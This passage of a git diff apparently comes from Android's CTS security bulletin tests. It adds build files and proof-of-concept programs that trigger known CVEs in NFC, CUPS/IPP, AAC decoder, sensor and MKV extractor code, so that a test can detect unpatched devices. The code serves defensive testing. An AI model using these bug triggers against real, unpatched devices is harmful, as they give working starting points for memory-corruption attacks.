+ return EXIT_FAILURE;
+ }
+
+ char *appendArray = (char *)malloc(LEAK_SIZE);
+ memset(appendArray, LEAK_DATA, LEAK_SIZE * sizeof(char));
+
+ /* Write mkv stream */
+ fwrite(mkvDataStart, 1, sizeof(mkvDataStart), fp);
+
+ /* Append a bitstream which causes memory leak */
+ fwrite(appendArray, 1, LEAK_SIZE, fp);
+ fwrite(mkvDataEnd, 1, sizeof(mkvDataEnd), fp);
+ free((void *)appendArray);
+ fclose(fp);
+
+ void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ if (!libHandle) {
+ remove(TMP_FILE);
+ return EXIT_FAILURE;
+ }
+ }
+
+ getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
+ if (!getDef) {
+ remove(TMP_FILE);
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ sp<DataSourceFactory> dsf = DataSourceFactory::getInstance();
+ sp<DataSource> dataSource = dsf->CreateFromURI(NULL, TMP_FILE);
+ if (dataSource == nullptr) {
+ remove(TMP_FILE);
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ void *meta = nullptr;
+ void *creator = nullptr;
+ FreeMetaFunc freeMeta = nullptr;
+ float confidence;
+ if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
+ creator = (void *)getDef().u.v2.sniff(dataSource->wrap(), &confidence,
+ &meta, &freeMeta);
+ } else if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V2) {
+ creator = (void *)getDef().u.v3.sniff(dataSource->wrap(), &confidence,
+ &meta, &freeMeta);
+ }
+ if (!creator) {
+ remove(TMP_FILE);
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ CMediaExtractor *ret = ((CreatorFunc)creator)(dataSource->wrap(), meta);
+ if (ret == nullptr) {
+ remove(TMP_FILE);
+ dlclose(libHandle);
+ return EXIT_FAILURE;
+ }
+
+ if (meta != nullptr && freeMeta != nullptr) {
+ freeMeta(meta);
+ }
+
+ remove(TMP_FILE);
+ dlclose(libHandle);
+#endif /* _64_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/Android.bp
new file mode 100644
index 0000000..a7eef92
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/Android.bp
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-2133",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ multilib: {
+ lib32: {
+ suffix: "32",
+ },
+ lib64: {
+ include_dirs: [
+ "packages/apps/Nfc/nci/jni/extns/pn54x/src/mifare/",
+ "packages/apps/Nfc/nci/jni/extns/pn54x/src/common/",
+ "packages/apps/Nfc/nci/jni/extns/pn54x/inc/",
+ "system/nfc/src/nfa/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/ulinux/",
+ "system/nfc/src/nfc/include/",
+ ],
+ shared_libs: [
+ "libnfc_nci_jni",
+ ],
+ suffix: "64",
+ },
+ },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/poc.cpp
new file mode 100644
index 0000000..3cce7af
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2133/poc.cpp
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <stdlib.h>
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+#include "phNxpExtns_MifareStd.h"
+#endif /* _64_BIT */
+
+int main() {
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+ uint8_t p_data = 0xA0;
+ uint32_t len = 0;
+
+ phNxpExtns_MfcModuleInit();
+ Mfc_Transceive(&p_data, len);
+#endif /* _64_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/Android.bp
new file mode 100644
index 0000000..3bbda28
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/Android.bp
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-2134",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ multilib: {
+ lib32: {
+ suffix: "32",
+ },
+ lib64: {
+ include_dirs: [
+ "packages/apps/Nfc/nci/jni/extns/pn54x/src/mifare/",
+ "packages/apps/Nfc/nci/jni/extns/pn54x/src/common/",
+ "packages/apps/Nfc/nci/jni/extns/pn54x/inc/",
+ "system/nfc/src/nfa/include/",
+ "system/nfc/src/gki/common/",
+ "system/nfc/src/include/",
+ "system/nfc/src/gki/ulinux/",
+ "system/nfc/src/nfc/include/",
+ ],
+ shared_libs: [
+ "libnfc_nci_jni",
+ ],
+ suffix: "64",
+ },
+ },
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/poc.cpp
new file mode 100644
index 0000000..1514e2a
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2134/poc.cpp
@@ -0,0 +1,37 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <stdlib.h>
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+#include "phNxpExtns_MifareStd.h"
+#endif /* _64_BIT */
+
+int main() {
+
+// This PoC is only for 64-bit builds
+#if _64_BIT
+ uint8_t p_data = 0xA0;
+ uint32_t len = 1;
+
+ phNxpExtns_MfcModuleInit();
+ Mfc_Transceive(&p_data, len);
+#endif /* _64_BIT */
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/Android.bp
new file mode 100644
index 0000000..9876bd7
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/Android.bp
@@ -0,0 +1,27 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-2228",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.c",
+ ],
+ shared_libs: [
+ "libcups",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/poc.c b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/poc.c
new file mode 100644
index 0000000..63600cc
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-2228/poc.c
@@ -0,0 +1,83 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include <dlfcn.h>
+#include <fcntl.h>
+#include <ipp.h>
+
+int isInitialized = 0;
+void *check_ptr = NULL;
+size_t text_len = sizeof("text/plain") - 1;
+
+static void *(*real_malloc)(size_t) = NULL;
+static int (*real_strcmp)(const char *str1, const char *str2) = NULL;
+
+void init(void) {
+ real_malloc = (void *(*)(size_t))dlsym(RTLD_NEXT, "malloc");
+ if (real_malloc == NULL) {
+ return;
+ }
+ real_strcmp = (int (*)(const char *, const char *))dlsym(RTLD_NEXT, "strcmp");
+ if (real_strcmp == NULL) {
+ return;
+ }
+ isInitialized = 1;
+}
+
+void *malloc(size_t size) {
+ if (!isInitialized) {
+ init();
+ }
+ void *tmp = real_malloc(size);
+ if (size == text_len) {
+ check_ptr = tmp;
+ }
+ return tmp;
+}
+
+int strcmp(const char *str1, const char *str2) {
+ if (!isInitialized) {
+ init();
+ }
+ if ((str1 == check_ptr) && (str1[text_len - 1] != '\0')) {
+ exit(EXIT_VULNERABLE);
+ }
+ return real_strcmp(str1, str2);
+}
+
+int main(int argc, char **argv) {
+ if (argc < 2) {
+ return EXIT_FAILURE;
+ }
+
+ int file_desc = open((const char *)argv[1], O_RDONLY);
+ if (file_desc < 0) {
+ return EXIT_FAILURE;
+ }
+
+ ipp_t *job = ippNew();
+ if (!job) {
+ return EXIT_FAILURE;
+ }
+ ippReadFile(file_desc, job);
+
+ if (job) {
+ free(job);
+ }
+ close(file_desc);
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9308/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9308/Android.bp
new file mode 100644
index 0000000..5fb2d02
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9308/Android.bp
@@ -0,0 +1,31 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-9308",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ include_dirs: [
+ "external/aac/libSYS/include",
+ "external/aac/libAACdec/include",
+ ],
+ shared_libs: [
+ "libbluetooth",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9308/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9308/poc.cpp
new file mode 100644
index 0000000..21eaf53
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9308/poc.cpp
@@ -0,0 +1,109 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+// This PoC is written using aac_dec_fuzzer.cpp as reference.
+#include "aacdecoder_lib.h"
+#include <stdlib.h>
+
+constexpr uint8_t kNumberOfLayers = 1;
+constexpr uint8_t kMaxChannelCount = 8;
+constexpr uint8_t kConfigBytes = 92;
+constexpr uint32_t kMaxOutBufferSize = 2048 * kMaxChannelCount;
+
+class Codec {
+public:
+ Codec() = default;
+ ~Codec() { deInitDecoder(); }
+ bool initDecoder();
+ void decodeFrames(UCHAR *data, UINT size);
+ void deInitDecoder();
+
+private:
+ HANDLE_AACDECODER mAacDecoderHandle = nullptr;
+ AAC_DECODER_ERROR mErrorCode = AAC_DEC_OK;
+ bool mConfigFlag = false;
+};
+
+bool Codec::initDecoder() {
+ mAacDecoderHandle = aacDecoder_Open(TT_MP4_ADIF, kNumberOfLayers);
+ if (!mAacDecoderHandle) {
+ return false;
+ }
+ return true;
+}
+
+void Codec::deInitDecoder() {
+ aacDecoder_Close(mAacDecoderHandle);
+ mAacDecoderHandle = nullptr;
+}
+
+void Codec::decodeFrames(UCHAR *data, UINT size) {
+ while (size > 0) {
+ UINT inputSize = size;
+ UINT valid = size;
+
+ if (!mConfigFlag) {
+ inputSize = kConfigBytes;
+ aacDecoder_ConfigRaw(mAacDecoderHandle, &data, &inputSize);
+ data += kConfigBytes;
+ size -= kConfigBytes;
+ mConfigFlag = true;
+ continue;
+ }
+
+ aacDecoder_Fill(mAacDecoderHandle, &data, &inputSize, &valid);
+ INT_PCM outputBuf[kMaxOutBufferSize];
+ do {
+ mErrorCode = aacDecoder_DecodeFrame(mAacDecoderHandle, outputBuf, kMaxOutBufferSize, 0);
+ } while (mErrorCode == AAC_DEC_OK);
+ UINT offset = inputSize - valid;
+ data += offset;
+ size = valid;
+ }
+}
+
+int main(int argc, char *argv[]) {
+ if (argc != 2) {
+ return EXIT_FAILURE;
+ }
+
+ FILE *fp = fopen(argv[1], "rb");
+ if (!fp) {
+ return EXIT_FAILURE;
+ }
+
+ fseek(fp, 0, SEEK_END);
+ UINT size = ftell(fp);
+ fseek(fp, 0, SEEK_SET);
+ UCHAR *data = new UCHAR[size];
+ fread(data, sizeof(UCHAR), size, fp);
+ fclose(fp);
+ fp = nullptr;
+
+ Codec *codec = new Codec();
+ if (!codec) {
+ delete[] data;
+ return EXIT_FAILURE;
+ }
+
+ if (codec->initDecoder()) {
+ codec->decodeFrames((UCHAR *)(data), static_cast<UINT>(size));
+ }
+
+ delete codec;
+ delete[] data;
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9357/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9357/Android.bp
new file mode 100644
index 0000000..9c18dc9
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9357/Android.bp
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-9357",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ include_dirs: [
+ "external/aac/libFDK/include",
+ "external/aac/libAACdec/src",
+ "external/aac/libSYS/include",
+ ],
+ shared_libs: [
+ "libbluetooth",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9357/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9357/poc.cpp
new file mode 100644
index 0000000..d906a2d
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9357/poc.cpp
@@ -0,0 +1,45 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <iostream>
+
+#include "FDK_bitstream.h"
+#include "aacdec_hcr_types.h"
+#include "aacdec_hcrs.h"
+
+int main() {
+
+ FDK_BITSTREAM *bs = (FDK_BITSTREAM *)malloc(sizeof(FDK_BITSTREAM));
+ if (!bs) {
+ return EXIT_FAILURE;
+ }
+
+ CErHcrInfo *pHcr = (CErHcrInfo *)malloc(sizeof(CErHcrInfo));
+ if (!pHcr) {
+ free(bs);
+ return EXIT_FAILURE;
+ }
+
+ memset(bs, 0x00, sizeof(FDK_BITSTREAM));
+ memset(pHcr, 0x00, sizeof(CErHcrInfo));
+
+ DecodeNonPCWs(bs, pHcr);
+
+ free(bs);
+ free(pHcr);
+
+ return EXIT_SUCCESS;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9362/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9362/Android.bp
new file mode 100644
index 0000000..ebe6f13
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9362/Android.bp
@@ -0,0 +1,36 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2019-9362",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ],
+ shared_libs: [
+ "libbluetooth",
+ ],
+ include_dirs: [
+ "external/aac/libSACdec/src",
+ "external/aac/libSACdec/include",
+ "external/aac/libFDK/include",
+ "external/aac/libSYS/include",
+ ],
+ cflags: [
+ "-Wno-unused-parameter",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2019-9362/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9362/poc.cpp
new file mode 100644
index 0000000..f388f89
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2019-9362/poc.cpp
@@ -0,0 +1,154 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "sac_bitdec.h"
+#include "sac_dec_conceal.h"
+#include <iostream>
+
+#define MAX_PARAMETER_SETS (9)
+#define MAX_NUM_OTT (5)
+
+#define RETURN_EXIT_FAILURE_IF_NULL(ptr) \
+ { \
+ if (!ptr) { \
+ return freeAllocatedMemoryAndReturn(frame, decoder, EXIT_FAILURE); \
+ } \
+ }
+
+typedef signed char SCHAR;
+
+int freeAllocatedMemoryAndReturn(SPATIAL_BS_FRAME *frame, spatialDec *decoder,
+ int errorCode) {
+ if (frame) {
+ if (frame->CLDLosslessData) {
+ for (int i = 0; i < MAX_NUM_OTT; ++i) {
+ if ((&frame->CLDLosslessData[i])->state) {
+ free((&frame->CLDLosslessData[i])->state);
+ (&frame->CLDLosslessData[i])->state = nullptr;
+ }
+ }
+ free(frame->CLDLosslessData);
+ frame->CLDLosslessData = nullptr;
+ }
+ if (frame->ICCLosslessData) {
+ free(frame->ICCLosslessData);
+ frame->ICCLosslessData = nullptr;
+ }
+ if (frame->IPDLosslessData) {
+ free(frame->IPDLosslessData);
+ frame->IPDLosslessData = nullptr;
+ }
+ free(frame);
+ frame = nullptr;
+ }
+
+ if (decoder) {
+ if (decoder->pConfigCurrent) {
+ free(decoder->pConfigCurrent);
+ decoder->pConfigCurrent = nullptr;
+ }
+ if (decoder->ottCLDidxPrev) {
+ free(decoder->ottCLDidxPrev);
+ decoder->ottCLDidxPrev = nullptr;
+ }
+ if (decoder->smgTime) {
+ free(decoder->smgTime);
+ decoder->smgTime = nullptr;
+ }
+ if (decoder->smgData) {
+ free(decoder->smgData);
+ decoder->smgData = nullptr;
+ }
+ if (decoder->smoothState) {
+ free(decoder->smoothState);
+ decoder->smoothState = nullptr;
+ }
+ free(decoder);
+ decoder = nullptr;
+ }
+ return errorCode;
+}
+
+int main() {
+ spatialDec *decoder = (spatialDec *)malloc(sizeof(spatialDec));
+ if (!decoder) {
+ return EXIT_FAILURE;
+ }
+ SPATIAL_BS_FRAME *frame =
+ (SPATIAL_BS_FRAME *)malloc(sizeof(SPATIAL_BS_FRAME));
+
+ RETURN_EXIT_FAILURE_IF_NULL(frame);
+ memset(frame, 0x00, sizeof(SPATIAL_BS_FRAME));
+
+ RETURN_EXIT_FAILURE_IF_NULL(decoder);
+ memset(decoder, 0x00, sizeof(spatialDec));
+
+ size_t allocSize = sizeof(LOSSLESSDATA) * MAX_NUM_OTT * MAX_NUM_PARAMETERS;
+
+ frame->CLDLosslessData = (LOSSLESSDATA *)malloc(allocSize);
+ RETURN_EXIT_FAILURE_IF_NULL(frame->CLDLosslessData);
+ memset(frame->CLDLosslessData, 0x00, allocSize);
+
+ frame->ICCLosslessData = (LOSSLESSDATA *)malloc(allocSize);
+ RETURN_EXIT_FAILURE_IF_NULL(frame->ICCLosslessData);
+ memset(frame->CLDLosslessData, 0x00, allocSize);
+
+ frame->IPDLosslessData = (LOSSLESSDATA *)malloc(allocSize);
+ RETURN_EXIT_FAILURE_IF_NULL(frame->IPDLosslessData);
+ memset(frame->CLDLosslessData, 0x00, allocSize);
+
+ frame->numParameterSets = MAX_PARAMETER_SETS;
+
+ for (int i = 0; i < MAX_NUM_OTT; ++i) {
+ (&frame->CLDLosslessData[i])->state = nullptr;
+ for (int j = 0; j < MAX_PARAMETER_SETS; ++j) {
+ (&frame->CLDLosslessData[i])->bsXXXDataMode[j] = 2;
+ }
+ (&frame->CLDLosslessData[i])->state =
+ (LOSSLESSSTATE *)malloc(sizeof(LOSSLESSSTATE));
+ RETURN_EXIT_FAILURE_IF_NULL((&frame->CLDLosslessData[i])->state);
+ memset((&frame->CLDLosslessData[i])->state, 0x00, sizeof(LOSSLESSSTATE));
+ }
+
+ decoder->numOttBoxes = MAX_NUM_OTT;
+
+ decoder->pConfigCurrent =
+ (SPATIAL_SPECIFIC_CONFIG *)malloc(sizeof(SPATIAL_SPECIFIC_CONFIG));
+ RETURN_EXIT_FAILURE_IF_NULL(decoder->pConfigCurrent);
+ memset(decoder->pConfigCurrent, 0x00, sizeof(SPATIAL_SPECIFIC_CONFIG));
+
+ decoder->ottCLDidxPrev = (SCHAR **)malloc(sizeof(SCHAR *));
+ RETURN_EXIT_FAILURE_IF_NULL(decoder->ottCLDidxPrev);
+ memset(decoder->ottCLDidxPrev, 0x00, sizeof(SCHAR *));
+
+ decoder->smgTime = (int *)malloc(sizeof(int));
+ RETURN_EXIT_FAILURE_IF_NULL(decoder->smgTime);
+ memset(decoder->smgTime, 0x00, sizeof(int));
+
+ decoder->smgData = (UCHAR **)malloc(sizeof(UCHAR *));
+ RETURN_EXIT_FAILURE_IF_NULL(decoder->smgData);
+ memset(decoder->smgData, 0x00, sizeof(UCHAR *));
+
+ decoder->smoothState = (SMOOTHING_STATE *)malloc(sizeof(SMOOTHING_STATE));
+ RETURN_EXIT_FAILURE_IF_NULL(decoder->smoothState);
+ memset(decoder->smoothState, 0x00, sizeof(SMOOTHING_STATE));
+
+ decoder->arbitraryDownmix = 0;
+ (decoder->concealInfo).concealState = SpatialDecConcealState_Ok;
+
+ SpatialDecDecodeFrame(decoder, frame);
+ return freeAllocatedMemoryAndReturn(frame, decoder, EXIT_SUCCESS);
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/Android.bp
new file mode 100644
index 0000000..269c91e
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/Android.bp
@@ -0,0 +1,32 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+cc_test {
+ name: "CVE-2020-0007",
+ defaults: ["cts_hostsidetests_securitybulletin_defaults"],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils_track",
+ ],
+ shared_libs: [
+ "libsensor",
+ ],
+ cflags: [
+ "-DCHECK_UNINITIALIZED_MEMORY",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/poc.cpp
new file mode 100644
index 0000000..78259bc
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0007/poc.cpp
@@ -0,0 +1,64 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include "../includes/common.h"
+#include "../includes/memutils_track.h"
+#include "hardware/sensors.h"
+#include "sensor/Sensor.h"
+#include "stdlib.h"
+
+size_t vulnerableSize = 0;
+
+using namespace android;
+char enable_selective_overload = ENABLE_NONE;
+
+bool is_tracking_required(size_t size) { return (size == vulnerableSize); }
+
+static sensor_t getTestSensorT() {
+ sensor_t hwSensor = {};
+ hwSensor.name = "Test ";
+ hwSensor.vendor = hwSensor.name;
+ hwSensor.version = 1;
+ hwSensor.handle = 2;
+ hwSensor.type = SENSOR_TYPE_ACCELEROMETER;
+ hwSensor.maxRange = 10.f;
+ hwSensor.resolution = 1.f;
+ hwSensor.power = 5.f;
+ hwSensor.minDelay = 1000;
+ hwSensor.fifoReservedEventCount = 50;
+ hwSensor.fifoMaxEventCount = 100;
+ hwSensor.stringType = SENSOR_STRING_TYPE_ACCELEROMETER;
+ hwSensor.requiredPermission = "";
+ hwSensor.maxDelay = 5000;
+ hwSensor.flags = SENSOR_FLAG_CONTINUOUS_MODE;
+ return hwSensor;
+}
+
+int main() {
+ sensor_t hwSensor = getTestSensorT();
+ Sensor sensor1(&hwSensor, SENSORS_DEVICE_API_VERSION_1_4);
+ vulnerableSize = sensor1.getFlattenedSize();
+ enable_selective_overload = ENABLE_MALLOC_CHECK;
+ void *buffer = malloc(vulnerableSize);
+ if (!buffer) {
+ return EXIT_FAILURE;
+ }
+ enable_selective_overload = ENABLE_NONE;
+ sensor1.flatten(buffer, vulnerableSize);
+ int status = is_memory_uninitialized();
+ free(buffer);
+ return status;
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0213/Android.bp
new file mode 100644
